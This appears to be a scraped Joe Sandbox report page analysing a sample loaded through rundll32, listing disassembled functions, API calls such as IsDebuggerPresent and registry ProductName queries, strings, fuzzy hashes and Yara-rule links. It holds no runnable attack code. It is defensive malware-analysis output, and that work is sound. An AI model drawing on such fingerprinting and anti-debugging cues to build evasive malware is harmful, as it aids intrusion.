Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$ExceptionInit_thread_footerLeaveThrow_invalid_parameter_noinfolstrcmpi
String ID:
API String ID: 2723823283-0
Opcode ID: b6d218e01d93139bd259be634565b875a9de92124726b052b61462cf44f5c266
Instruction ID: 1b896eaff69a4dd66b83f5f0cf94e246cb251ec7d404070c302f73db3b39a0f6
Opcode Fuzzy Hash: b6d218e01d93139bd259be634565b875a9de92124726b052b61462cf44f5c266
Instruction Fuzzy Hash: 37E1A032A2EB82A5F7A09B15E4403B96361FF847D0F404135DA9D87B94DFBCE845CB28

Function 00007FF8A8D07680 Relevance: 9.3, APIs: 6, Instructions: 277fileCOMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32 ref: 00007FF8A8D076CF
CloseHandle.KERNEL32 ref: 00007FF8A8D076EF
CreateFileW.KERNEL32 ref: 00007FF8A8D07740
GetFileSizeEx.KERNEL32 ref: 00007FF8A8D07760
CloseHandle.KERNEL32 ref: 00007FF8A8D07780

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

Part of subcall function 00007FF8A8DBC670: GetFileAttributesW.KERNEL32 ref: 00007FF8A8DBC6B7

CreateFileW.KERNEL32 ref: 00007FF8A8D07A15

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleSize$AttributesDeallocatestd::_
String ID:
API String ID: 2266459488-0
Opcode ID: 44d6dd8011be339173400ccdf1f0c6f5fe9cb07d33a31f72547726f31f158f42
Instruction ID: 1fda2e45a8e42df052416b616a0e11273f99dea7dc41f1c029f577e3cfc2c59c
Opcode Fuzzy Hash: 44d6dd8011be339173400ccdf1f0c6f5fe9cb07d33a31f72547726f31f158f42
Instruction Fuzzy Hash: 2CB11332A1AA41A6E710EF25E8905EE3371FB813C4F402035EA6E57E95DF3DE549C714

Function 00007FF8A8DD01A4 Relevance: 9.2, APIs: 6, Instructions: 245COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DD01C6
_get_daylight.LIBCMT ref: 00007FF8A8DD0222
_get_daylight.LIBCMT ref: 00007FF8A8DD0233
_get_daylight.LIBCMT ref: 00007FF8A8DD0244
_isindst.LIBCMT ref: 00007FF8A8DD0295
_isindst.LIBCMT ref: 00007FF8A8DD02E8

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _get_daylight$_isindst$_invalid_parameter_noinfo
String ID:
API String ID: 1405656091-0
Opcode ID: 318a314b98ae4d8ed2d993a8be0cd42bcacbb9af60853c6932bb243a02edfb9a
Instruction ID: 4e9413367c869cc8394dd0ce88129a9aaca0203f6adf9d8a330e7c37c3c3a460
Opcode Fuzzy Hash: 318a314b98ae4d8ed2d993a8be0cd42bcacbb9af60853c6932bb243a02edfb9a
Instruction Fuzzy Hash: CE91F6B2F072469BEB588F25C9413B96791EB847C8F049035DA1D8B78AEF3CE8548B54

Function 00007FF8A8DCCFD8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF8A8DCD051
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF8A8DCD069
RtlVirtualUnwind.KERNEL32 ref: 00007FF8A8DCD0A4
IsDebuggerPresent.KERNEL32 ref: 00007FF8A8DCD0DD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF8A8DCD0E7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF8A8DCD0F2

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 7a8e782dcfe3c76f70ce5210072e5310648d50e5df58fb2ab3501447c95856a4
Instruction ID: 002aad42bedd9c4c4a91c09052ab53bbd93330a47dc0e6a1689d2f1833b94a95
Opcode Fuzzy Hash: 7a8e782dcfe3c76f70ce5210072e5310648d50e5df58fb2ab3501447c95856a4
Instruction Fuzzy Hash: 61319132609F8196DB20DF29E8402AE33A0FB887D8F500135EA9D43B98EF3CD159CB14

Function 00007FF8A8D56E84 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D5ABD0: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D56EB3), ref: 00007FF8A8D5AC8B
Part of subcall function 00007FF8A8D5ABD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8D56EB3), ref: 00007FF8A8D5ACCF

RegOpenKeyExW.ADVAPI32 ref: 00007FF8A8D56EFA
RegQueryValueExW.ADVAPI32 ref: 00007FF8A8D56F26
RegCloseKey.ADVAPI32 ref: 00007FF8A8D56F31

Part of subcall function 00007FF8A8D57010: FindResourceExW.KERNEL32 ref: 00007FF8A8D570A9

Part of subcall function 00007FF8A8DC903C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DC9059

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF8A8D56EEC
ProductName, xrefs: 00007FF8A8D56F1A

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CloseQueryValue$FindOpenResource_invalid_parameter_noinfo
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3908126574-1787575317
Opcode ID: f90eb44e6d66334d976b3e22866244f6b311c03ab069681db9b47509216f6885
Instruction ID: 2444915068196c373d3d40b5bba38584a205a77da589d087b033cbe64dff89e1
Opcode Fuzzy Hash: f90eb44e6d66334d976b3e22866244f6b311c03ab069681db9b47509216f6885
Instruction Fuzzy Hash: F231D532B1AB42E1EB109B24F45576A6360FF857E0F401532EAAD037A5DF3DD109CB18

Function 00007FF8A8D0BA28 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 203COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D027FC: std::runtime_error::runtime_error.LIBCPMT ref: 00007FF8A8D028D6
Part of subcall function 00007FF8A8D027FC: throw_exception.LIBCPMT ref: 00007FF8A8D028DF

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8A8D0BAA5

Part of subcall function 00007FF8A8D009E0: __std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D00A12

Part of subcall function 00007FF8A8D12F58: enable_error_info.LIBCPMT ref: 00007FF8A8D12F72
Part of subcall function 00007FF8A8D12F58: _CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D12F91

Part of subcall function 00007FF8A8D10AAC: throw_exception.LIBCPMT ref: 00007FF8A8D10AC7

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8A8D0BBC8

Strings

Cannot convert dates prior to Jan 1, 1970, xrefs: 00007FF8A8D0BA9A
could not convert calendar time to local time, xrefs: 00007FF8A8D0BBBD

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: std::invalid_argument::invalid_argumentthrow_exception$ExceptionThrow__std_exception_copyenable_error_infostd::runtime_error::runtime_error
String ID: Cannot convert dates prior to Jan 1, 1970$could not convert calendar time to local time
API String ID: 3961748639-1097574331
Opcode ID: 04861b4c69b6c7a141ae0b26592c8f8106bb269fb2dbc542c92ba1a5e59addfc
Instruction ID: 5b7ee5ba94e2dd8479ca986eb9a5f99ceb417abd34e99e7f3a872af06e037ec6
Opcode Fuzzy Hash: 04861b4c69b6c7a141ae0b26592c8f8106bb269fb2dbc542c92ba1a5e59addfc
Instruction Fuzzy Hash: 27614562F0565656EF14ABA6D8515FC2332EB847C4F404036EE1E2BBDADF3CE5068314

Function 00007FF8A8DB8990 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF8A8DB89F1
IsDebuggerPresent.KERNEL32 ref: 00007FF8A8DB8A09
OutputDebugStringW.KERNEL32 ref: 00007FF8A8DB8A1A

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00007FF8A8DB8A13

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: 611536a1a0a5444bbb5d3a74b3bedf1facef6155a213c0476897455c6dfbf728
Instruction ID: e23b3b981fbd1de51246048066a44fea422b74153c6ba55975b8034677079b51
Opcode Fuzzy Hash: 611536a1a0a5444bbb5d3a74b3bedf1facef6155a213c0476897455c6dfbf728
Instruction Fuzzy Hash: 9C116D32A15B42B7F7049B26D94437932A4FF04795F004035CA4D82A51EF3CE5B8C728

Function 00007FF8A8D0B560 Relevance: 6.2, APIs: 4, Instructions: 233COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32 ref: 00007FF8A8D0DCEE
GetLastError.KERNEL32 ref: 00007FF8A8D0DCF8

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CriticalErrorInitializeLastSection
String ID:
API String ID: 3413597225-0
Opcode ID: 4db546f3b79c203cb01530d438a4291011299e12985f3e21473a40ed8998f796
Instruction ID: f64631a877d4962fc64fe76e12fec528301c6428dbdd0e3919704f046790787d
Opcode Fuzzy Hash: 4db546f3b79c203cb01530d438a4291011299e12985f3e21473a40ed8998f796
Instruction Fuzzy Hash: E991A276606B46A1EB15CF25E88436937A4FB45BD4F048236CE5E83390DF3CE558C324

Function 00007FF8A8DCD670 Relevance: 5.5, APIs: 3, Instructions: 1031COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8DCDA62
_get_daylight.LIBCMT ref: 00007FF8A8DCDB62
_get_daylight.LIBCMT ref: 00007FF8A8DCDB7B

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID:
API String ID: 1286766494-0
Opcode ID: cf43d3430d882ff370bae3f5266935d1471dd2a82202f84d00506a7c015d913e
Instruction ID: 62c361169c2d6182b6d0ba9048e411fd7c8893597b01ad577bde82940deeab07
Opcode Fuzzy Hash: cf43d3430d882ff370bae3f5266935d1471dd2a82202f84d00506a7c015d913e
Instruction Fuzzy Hash: 249221B2A0A69296E7209F35D85017E3BA1FB45BC8F044135DB9D43B94DF3CE928C728

Function 000001CEAFC79500 Relevance: 5.4, Strings: 4, Instructions: 380COMMON

Download Yara Rule

Strings

, xrefs: 000001CEAFC79636
(, xrefs: 000001CEAFC7956B
, xrefs: 000001CEAFC797F6
, xrefs: 000001CEAFC796C9

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID: $ $ $(
API String ID: 0-3698178323
Opcode ID: 5c31586f011da146f7a0e2f3f26b49a2f6bf0a272a270216fad1032cc7f56bac
Instruction ID: 9f9f5114620ef2250bcea62867a6ca986e0fc93ac86a1dc7e52e7f8d06e00bb4
Opcode Fuzzy Hash: 5c31586f011da146f7a0e2f3f26b49a2f6bf0a272a270216fad1032cc7f56bac
Instruction Fuzzy Hash: 37D14B706187888FE7A5DF29D849BAEB7E5FB98340F40492DD48EC3291DF34D8458B86

Function 00007FF8A8D09C5C Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

CreateSemaphoreA.KERNEL32 ref: 00007FF8A8D09C90
CreateSemaphoreA.KERNEL32 ref: 00007FF8A8D09CC0
CreateSemaphoreA.KERNEL32 ref: 00007FF8A8D09CF9

Part of subcall function 00007FF8A8D13AAC: _CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8D13AE5

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CreateSemaphore$ExceptionThrow
String ID:
API String ID: 1512646613-0
Opcode ID: 75d6e66d7b1da5859a07f3a6ae3890beb879ccc610ad829886ef364c3f818096
Instruction ID: e93691e008cb4b4ab85ee9e9735b04ce08eb1731f5859d4e354ec81f36a16f9a
Opcode Fuzzy Hash: 75d6e66d7b1da5859a07f3a6ae3890beb879ccc610ad829886ef364c3f818096
Instruction Fuzzy Hash: 56217422A1BA4291EF54EB31A411B7932A1EF95B98F044234D97E477D5EF3CE4588318

Function 000001CEAFC816A0 Relevance: 4.5, Strings: 3, Instructions: 795COMMON

Download Yara Rule

Strings

U/, xrefs: 000001CEAFC81927
$'2O, xrefs: 000001CEAFC8178F
\8j, xrefs: 000001CEAFC8172F

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID: AddressProcedure
String ID: $'2O$U/$\8j
API String ID: 3653107232-658286377
Opcode ID: 4935f0f32ad2d9a935451ba930207134b4bd1056c48635d3548c9aa2ad88d671
Instruction ID: a1ab9c4454c8a3a21dd8539ad19a5c563486a8cbef38e9a9f0b05ba4edf2f4db
Opcode Fuzzy Hash: 4935f0f32ad2d9a935451ba930207134b4bd1056c48635d3548c9aa2ad88d671
Instruction Fuzzy Hash: CB52C774E906485FF798EF79E819BA932D6F78C340F60856AA449C33E6DE3CD8025784

Function 000001CEAFC97220 Relevance: 4.4, Strings: 3, Instructions: 626COMMON

Download Yara Rule

Strings

, xrefs: 000001CEAFC974E1
@, xrefs: 000001CEAFC97525
0, xrefs: 000001CEAFC9750E

Memory Dump Source

Source File: 00000003.00000002.4536861192.000001CEAFC71000.00000020.00001000.00020000.00000000.sdmp, Offset: 000001CEAFC71000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1ceafc71000_rundll32.jbxd

Similarity

API ID:
String ID: $0$@
API String ID: 0-2347541974
Opcode ID: be94cb7cfc3cd8444ac11f04680e5f8e06e857b9d45ba6d7f6f85da26437d9a4
Instruction ID: b07f5b6c5c60aefbf49bad090836ebb84543d49a911eb74fcf79c6d7c7c5f964
Opcode Fuzzy Hash: be94cb7cfc3cd8444ac11f04680e5f8e06e857b9d45ba6d7f6f85da26437d9a4
Instruction Fuzzy Hash: 10326A30218B489FF7A4EB29D895BDEB7E1FB98344F50862DA48EC32D1DB34D4458B46

Function 00007FF8A8D061E0 Relevance: 3.9, Strings: 3, Instructions: 176COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF8A8D063C9
, xrefs: 00007FF8A8D06224, 00007FF8A8D063F5
gfffffff, xrefs: 00007FF8A8D06328

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID:
String ID: $gfffffff$gfffffff
API String ID: 0-496913188
Opcode ID: 58977adcd8a6b764af0f63b9f6905b7b143689c1d01b28076ca30d752ebbd219
Instruction ID: 200f26ed19a082eedc3ae9f2de068862efd5fc5dfa1cdc05526ee7116b956047
Opcode Fuzzy Hash: 58977adcd8a6b764af0f63b9f6905b7b143689c1d01b28076ca30d752ebbd219
Instruction Fuzzy Hash: 1771C272B0A616A6EF14DF66E4502EC2371EF487D4F405235DA2E4BB85DF2CE5298318

Function 00007FF8A8DE5834 Relevance: 3.2, APIs: 2, Instructions: 232COMMON

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF8A8DE5A83
RaiseException.KERNEL32 ref: 00007FF8A8DE5A94

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 1e521753603c253260f75de318e5fd5f95f3e7c568a8fd49db7ce5474408351d
Instruction ID: 8f023eb0b4175fe036ea6f5a6be3a7488eee57db5399d5ee13e8eb0dede2c2a1
